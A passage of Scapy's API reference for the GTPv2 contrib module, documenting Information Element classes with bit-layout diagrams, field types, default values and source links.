+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           CHARGINGID                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. IE_ChargingID                        


IE_ChargingID fields






	ietype

	ByteEnumField

	94



	length

	ShortField

	None



	CR_flag

	BitField  (4 bits)

	0



	instance

	BitField  (4 bits)

	0



	ChargingID

	IntField

	0















	
scapy.contrib.gtp_v2.IE_Dispatcher(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp_v2.py#L297-L308]

	Choose the correct Information Element class.






	
class scapy.contrib.gtp_v2.IE_EPCO(_pkt, /, *, ietype=197, length=None, CR_flag=0, instance=0, Extension=0, SPARE=0, PPP=0, Protocols=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp_v2.py#L1289-L1299]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     IETYPE    |             LENGTH            |CR FLAG|INSTANC|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|E| SPARE | PPP |           PROTOCOLS           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                           Fig. IE_EPCO                           


IE_EPCO fields






	ietype

	ByteEnumField

	197



	length

	ShortField

	None



	CR_flag

	BitField  (4 bits)

	0



	instance

	BitField  (4 bits)

	0



	Extension

	BitField  (1 bit)

	0



	SPARE

	BitField  (4 bits)

	0



	PPP

	BitField  (3 bits)

	0



	Protocols

	PacketListField

	[]















	
class scapy.contrib.gtp_v2.IE_EPSBearerID(_pkt, /, *, ietype=73, length=None, CR_flag=0, instance=0, EBI=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp_v2.py#L311-L317]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     IETYPE    |             LENGTH            |CR FLAG|INSTANC|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      EBI      |
+-+-+-+-+-+-+-+-+

                       Fig. IE_EPSBearerID                        


IE_EPSBearerID fields






	ietype

	ByteEnumField

	73



	length

	ShortField

	None



	CR_flag

	BitField  (4 bits)

	0



	instance

	BitField  (4 bits)

	0



	EBI

	ByteField

	0















	
class scapy.contrib.gtp_v2.IE_FQCSID(_pkt, /, *, ietype=132, length=None, CR_flag=0, instance=0, nodeid_type=0, num_csid=0, nodeid_v4=0, nodeid_v6='2001:db8:0:42::', nodeid_nonip=0, csid=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp_v2.py#L1441-L1458]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     IETYPE    |             LENGTH            |CR FLAG|INSTANC|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|NODEID |NUM CSI|                   NODEID V4                   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                   NODEID V6                   |
+-+-+-+-+-+-+-+-+                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                  NODEID NONIP                 |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |              CSID             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. IE_FQCSID                          


IE_FQCSID fields






	ietype

	ByteEnumField

	132



	length

	ShortField

	None



	CR_flag

	BitField  (4 bits)

	0



	instance

	BitField  (4 bits)

	0



	nodeid_type

	BitField  (4 bits)

	0



	num_csid

	BitField  (4 bits)

	0



	nodeid_v4

	IPField (Cond)

	0



	nodeid_v6

	XBitField (Cond) (128 bits)

	'2001:db8:0:42::'



	nodeid_nonip

	BitField (Cond) (32 bits)

	0



	csid

	ShortField

	0















	
class scapy.contrib.gtp_v2.IE_FQDN(_pkt, /, *, ietype=136, length=None, CR_flag=0, instance=0, fqdn_tr_bit=0, fqdn=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp_v2.py#L588-L595]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     IETYPE    |             LENGTH            |CR FLAG|INSTANC|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  FQDN TR BIT  |              FQDN             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                           Fig. IE_FQDN                           


IE_FQDN fields






	ietype

	ByteEnumField

	136



	length

	ShortField

	None



	CR_flag

	BitField  (4 bits)

	0



	instance

	BitField  (4 bits)

	0



	fqdn_tr_bit

	ByteField

	0



	fqdn

	StrLenField

	b''















	
class scapy.contrib.gtp_v2.IE_FTEID(_pkt, /, *, ietype=87, length=None, CR_flag=0, instance=0, ipv4_present=0, ipv6_present=0, InterfaceType=0, GRE_Key=0, ipv4=<RandIP>, ipv6='2001::')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp_v2.py#L514-L527]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     IETYPE    |             LENGTH            |CR FLAG|INSTANC|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|I|I|INTERFACETY|                    GRE KEY                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      IPV4                     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      IPV6                     |
+-+-+-+-+-+-+-+-+                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                          Fig. IE_FTEID                           


IE_FTEID fields






	ietype

	ByteEnumField

	87



	length

	ShortField

	None



	CR_flag

	BitField  (4 bits)

	0



	instance

	BitField  (4 bits)

	0



	ipv4_present

	BitField  (1 bit)

	0



	ipv6_present

	BitField  (1 bit)

	0



	InterfaceType

	BitEnumField

	0



	GRE_Key

	XIntField

	0



	ipv4

	IPField (Cond)

	<RandIP>



	ipv6

	XBitField (Cond) (128 bits)

	'2001::'















	
class scapy.contrib.gtp_v2.IE_IMSI(_pkt, /, *, ietype=1, length=None, CR_flag=0, instance=0, IMSI=b'33607080910')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp_v2.py#L607-L614]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     IETYPE    |             LENGTH            |CR FLAG|INSTANC|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              IMSI             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                           Fig. IE_IMSI                           


IE_IMSI fields






	ietype

	ByteEnumField

	1



	length

	ShortField

	None



	CR_flag

	BitField  (4 bits)

	0



	instance

	BitField  (4 bits)

	0



	IMSI

	TBCDByteField

	b'33607080910'















	
class scapy.contrib.gtp_v2.IE_IP_Address(_pkt, /, *, ietype=74, length=None, CR_flag=0, instance=0, address=<RandIP>, address6=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp_v2.py#L267-L284]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     IETYPE    |             LENGTH            |CR FLAG|INSTANC|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            ADDRESS                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            ADDRESS6                           |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. IE_IP_Address                        


IE_IP_Address fields






	ietype

	ByteEnumField

	74



	length

	ShortField

	None



	CR_flag

	BitField  (4 bits)

	0



	instance

	BitField  (4 bits)

	0



	address

	IPField (Cond)

	<RandIP>



	address6

	IP6Field (Cond)

	None











	
post_build(p, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp_v2.py#L280-L284]

	








	
class scapy.contrib.gtp_v2.IE_Indication(_pkt, /, *, ietype=77, length=None, CR_flag=0, instance=0, DAF=0, DTF=0, HI=0, DFI=0, OI=0, ISRSI=0, ISRAI=0, SGWCI=0, SQCI=0, UIMSI=0, CFSI=0, CRSI=0, PS=0, PT=0, SI=0, MSV=0, RetLoc=0, PBIC=0, SRNI=0, S6AF=0, S4AF=0, MBMDT=0, ISRAU=0, CCRSI=0, CPRAI=0, ARRL=0, PPOFF=0, PPON=0, PPSI=0, CSFBI=0, CLII=0, CPSR=0, NSI=0, UASI=0, DTCI=0, BDWI=0, PSCI=0, PCRI=0, AOSI=0, AOPI=0, ROAAI=0, EPCOSI=0, CPOPCI=0, PMTSMI=0, S11TF=0, PNSI=0, UNACCSI=0, WPMSI=0, _5GSNN26=0, REPREFI=0, _5GSIWKI=0, EEVRSI=0, LTEMUI=0, LTEMPI=0, ENBCRSI=0, TSPCMI=0, SPARE1=0, SPARE2=0, SPARE3=0, N5GNMI=0, _5GCNRS=0, _5GCNRI=0, _5SRHOI=0, ETHPDN=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp_v2.py#L778-L914]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     IETYPE    |             LENGTH            |CR FLAG|INSTANC|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|D|D|H|D|O|I|I|S|S|U|C|C|P|P|S|M|R|P|S|S|S|M|I|C|C|A|P|P|P|C|C|C|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|N|U|D|B|P|P|A|A|R|E|C|P|S|P|U|W| |R| |E|L|L|E|T|S|S|S|N| | | |E|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. IE_Indication                        


IE_Indication fields






	ietype

	ByteEnumField

	77



	length

	ShortField

	None



	CR_flag

	BitField  (4 bits)

	0



	instance

	BitField  (4 bits)

	0



	DAF

	BitField (Cond) (1 bit)

	0



	DTF

	BitField (Cond) (1 bit)

	0



	HI

	BitField (Cond) (1 bit)

	0



	DFI

	BitField (Cond) (1 bit)

	0



	OI

	BitField (Cond) (1 bit)

	0



	ISRSI

	BitField (Cond) (1 bit)

	0



	ISRAI

	BitField (Cond) (1 bit)

	0



	SGWCI

	BitField (Cond) (1 bit)

	0



	SQCI

	BitField (Cond) (1 bit)

	0



	UIMSI

	BitField (Cond) (1 bit)

	0



	CFSI

	BitField (Cond) (1 bit)

	0



	CRSI

	BitField (Cond) (1 bit)

	0



	PS

	BitField (Cond) (1 bit)

	0



	PT

	BitField (Cond) (1 bit)

	0



	SI

	BitField (Cond) (1 bit)

	0



	MSV

	BitField (Cond) (1 bit)

	0



	RetLoc

	BitField (Cond) (1 bit)

	0



	PBIC

	BitField (Cond) (1 bit)

	0



	SRNI

	BitField (Cond) (1 bit)

	0



	S6AF

	BitField (Cond) (1 bit)

	0



	S4AF

	BitField (Cond) (1 bit)

	0



	MBMDT

	BitField (Cond) (1 bit)

	0



	ISRAU

	BitField (Cond) (1 bit)

	0



	CCRSI

	BitField (Cond) (1 bit)

	0



	CPRAI

	BitField (Cond) (1 bit)

	0



	ARRL

	BitField (Cond) (1 bit)

	0



	PPOFF

	BitField (Cond) (1 bit)

	0



	PPON

	BitField (Cond) (1 bit)

	0



	PPSI

	BitField (Cond) (1 bit)

	0



	CSFBI

	BitField (Cond) (1 bit)

	0



	CLII

	BitField (Cond) (1 bit)

	0



	CPSR

	BitField (Cond) (1 bit)

	0



	NSI

	BitField (Cond) (1 bit)

	0



	UASI

	BitField (Cond) (1 bit)

	0



	DTCI

	BitField (Cond) (1 bit)

	0



	BDWI

	BitField (Cond) (1 bit)

	0



	PSCI

	BitField (Cond) (1 bit)

	0



	PCRI

	BitField (Cond) (1 bit)

	0



	AOSI

	BitField (Cond) (1 bit)

	0



	AOPI

	BitField (Cond) (1 bit)

	0



	ROAAI

	BitField (Cond) (1 bit)

	0



	EPCOSI

	BitField (Cond) (1 bit)

	0



	CPOPCI

	BitField (Cond) (1 bit)

	0



	PMTSMI

	BitField (Cond) (1 bit)

	0



	S11TF

	BitField (Cond) (1 bit)

	0



	PNSI

	BitField (Cond) (1 bit)

	0



	UNACCSI

	BitField (Cond) (1 bit)

	0



	WPMSI

	BitField (Cond) (1 bit)

	0



	_5GSNN26

	BitField (Cond) (1 bit)

	0



	REPREFI

	BitField (Cond) (1 bit)

	0



	_5GSIWKI

	BitField (Cond) (1 bit)

	0



	EEVRSI

	BitField (Cond) (1 bit)

	0



	LTEMUI

	BitField (Cond) (1 bit)

	0



	LTEMPI

	BitField (Cond) (1 bit)

	0



	ENBCRSI

	BitField (Cond) (1 bit)

	0



	TSPCMI

	BitField (Cond) (1 bit)

	0



	SPARE1

	BitField (Cond) (1 bit)

	0



	SPARE2

	BitField (Cond) (1 bit)

	0



	SPARE3

	BitField (Cond) (1 bit)

	0



	N5GNMI

	BitField (Cond) (1 bit)

	0



	_5GCNRS

	BitField (Cond) (1 bit)

	0



	_5GCNRI

	BitField (Cond) (1 bit)

	0



	_5SRHOI

	BitField (Cond) (1 bit)

	0



	ETHPDN

	BitField (Cond) (1 bit)

	0















	
class scapy.contrib.gtp_v2.IE_MEI(_pkt, /, *, ietype=75, length=None, CR_flag=0, instance=0, MEI=b'175675478970685')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp_v2.py#L287-L294]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     IETYPE    |             LENGTH            |CR FLAG|INSTANC|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              MEI              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                           Fig. IE_MEI                            


IE_MEI fields






	ietype

	ByteEnumField

	75



	length

	ShortField

	None



	CR_flag

	BitField  (4 bits)

	0



	instance

	BitField  (4 bits)

	0



	MEI

	TBCDByteField

	b'175675478970685'















	
class scapy.contrib.gtp_v2.IE_MMBR(_pkt, /, *, ietype=161, length=None, CR_flag=0, instance=0, uplink_rate=0, downlink_rate=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp_v2.py#L1421-L1428]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     IETYPE    |             LENGTH            |CR FLAG|INSTANC|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          UPLINK RATE                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         DOWNLINK RATE                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                           Fig. IE_MMBR                           


IE_MMBR fields






	ietype

	ByteEnumField

	161



	length

	ShortField

	None



	CR_flag

	BitField  (4 bits)

	0



	instance

	BitField  (4 bits)

	0



	uplink_rate

	IntField

	0



	downlink_rate

	IntField

	0















	
class scapy.contrib.gtp_v2.IE_MMContext_EPS(_pkt, /, *, ietype=107, length=None, CR_flag=0, instance=0, Sec_Mode=0, Nhi=0, Drxi=0, Ksi=0, Num_quint=0, Num_Quad=0, Uambri=0, Osci=0, Sambri=0, Nas_algo=0, Nas_cipher=0, Nas_dl_count=0, Nas_ul_count=0, Kasme=0, fields=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp_v2.py#L553-L575]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     IETYPE    |             LENGTH            |CR FLAG|INSTANC|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|SEC M|N|D| KSI |NUM Q|NUM Q|U|O|S|NAS A|NAS CIP|  NAS DL COUNT |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                                               |  NAS UL COUNT |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                                               |     KASME     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                               +-+-+-+-+-+-+-+-+
|                                               |     FIELDS    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                      Fig. IE_MMContext_EPS                       


IE_MMContext_EPS fields






	ietype

	ByteEnumField

	107



	length

	ShortField

	None



	CR_flag

	BitField  (4 bits)

	0



	instance

	BitField  (4 bits)

	0



	Sec_Mode

	BitField  (3 bits)

	0



	Nhi

	BitField  (1 bit)

	0



	Drxi

	BitField  (1 bit)

	0



	Ksi

	BitField  (3 bits)

	0



	Num_quint

	BitField  (3 bits)

	0



	Num_Quad

	BitField  (3 bits)

	0



	Uambri

	BitField  (1 bit)

	0



	Osci

	BitField  (1 bit)

	0



	Sambri

	BitField  (1 bit)

	0



	Nas_algo

	BitField  (3 bits)

	0



	Nas_cipher

	BitField  (4 bits)

	0



	Nas_dl_count

	ThreeBytesField

	0



	Nas_ul_count

	ThreeBytesField

	0



	Kasme

	BitField  (256 bits)

	0



	fields

	StrLenField (Cond)

	b''















	
class scapy.contrib.gtp_v2.IE_MSISDN(_pkt, /, *, ietype=76, length=None, CR_flag=0, instance=0, digits=b'33123456789')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp_v2.py#L768-L775]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     IETYPE    |             LENGTH            |CR FLAG|INSTANC|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             DIGITS            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. IE_MSISDN                          


IE_MSISDN fields






	ietype

	ByteEnumField

	76



	length

	ShortField

	None



	CR_flag

	BitField  (4 bits)

	0



	instance

	BitField  (4 bits)

	0



	digits

	TBCDByteField

	b'33123456789'















	
class scapy.contrib.gtp_v2.IE_NotImplementedTLV(_pkt, /, *, ietype=0, length=None, CR_flag=0, instance=0, data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp_v2.py#L598-L604]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     IETYPE    |             LENGTH            |CR FLAG|INSTANC|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. IE_NotImplementedTLV                     


IE_NotImplementedTLV fields






	ietype

	ByteEnumField

	0



	length

	ShortField

	None



	CR_flag

	BitField  (4 bits)

	0



	instance

	BitField  (4 bits)

	0



	data

	StrLenField

	b''















	
class scapy.contrib.gtp_v2.IE_PAA(_pkt, /, *, ietype=79, length=None, CR_flag=0, instance=0, SPARE=0, PDN_type=None, ipv6_prefix_length=8, ipv6='2001:db8:0:42::', ipv4=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp_v2.py#L1315-L1331]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     IETYPE    |             LENGTH            |CR FLAG|INSTANC|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  SPARE  |PDN T|IPV6 PREFIX LEN|              IPV6             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |              IPV4             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                           Fig. IE_PAA                            


IE_PAA fields






	ietype

	ByteEnumField

	79



	length

	ShortField

	None



	CR_flag

	BitField  (4 bits)

	0



	instance

	BitField  (4 bits)

	0



	SPARE

	BitField  (5 bits)

	0



	PDN_type

	BitEnumField

	None



	ipv6_prefix_length

	ByteField (Cond)

	8



	ipv6

	XBitField (Cond) (128 bits)

	'2001:db8:0:42::'



	ipv4

	IPField (Cond)

	0















	
class scapy.contrib.gtp_v2.IE_PCO(_pkt, /, *, ietype=78, length=None, CR_flag=0, instance=0, Extension=0, SPARE=0, PPP=0, Protocols=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp_v2.py#L1276-L1286]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     IETYPE    |             LENGTH            |CR FLAG|INSTANC|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|E| SPARE | PPP |           PROTOCOLS           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                           Fig. IE_PCO                            


IE_PCO fields






	ietype

	ByteEnumField

	78



	length

	ShortField

	None



	CR_flag

	BitField  (4 bits)

	0



	instance

	BitField  (4 bits)

	0



	Extension

	BitField  (1 bit)

	0



	SPARE

	BitField  (4 bits)

	0



	PPP

	BitField  (3 bits)

	0



	Protocols

	PacketListField

	[]















	
class scapy.contrib.gtp_v2.IE_PDNConnection(_pkt, /, *, ietype=109, length=None, CR_flag=0, instance=0, IE_list=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp_v2.py#L578-L585]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     IETYPE    |             LENGTH            |CR FLAG|INSTANC|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            IE LIST            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. IE_PDNConnection                       


IE_PDNConnection fields






	ietype

	ByteEnumField

	109



	length

	ShortField

	None



	CR_flag

	BitField  (4 bits)

	0



	instance

	BitField  (4 bits)

	0



	IE_list

	PacketListField

	[]















	
class scapy.contrib.gtp_v2.IE_PDN_type(_pkt, /, *, ietype=99, length=None, CR_flag=0, instance=0, SPARE=0, PDN_type=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp_v2.py#L1373-L1380]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     IETYPE    |             LENGTH            |CR FLAG|INSTANC|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  SPARE  |PDN T|
+-+-+-+-+-+-+-+-+

                         Fig. IE_PDN_type                         


IE_PDN_type fields






	ietype

	ByteEnumField

	99



	length

	ShortField

	None



	CR_flag

	BitField  (4 bits)

	0



	instance

	BitField  (4 bits)

	0



	SPARE

	BitField  (5 bits)

	0



	PDN_type

	BitEnumField

	None















	
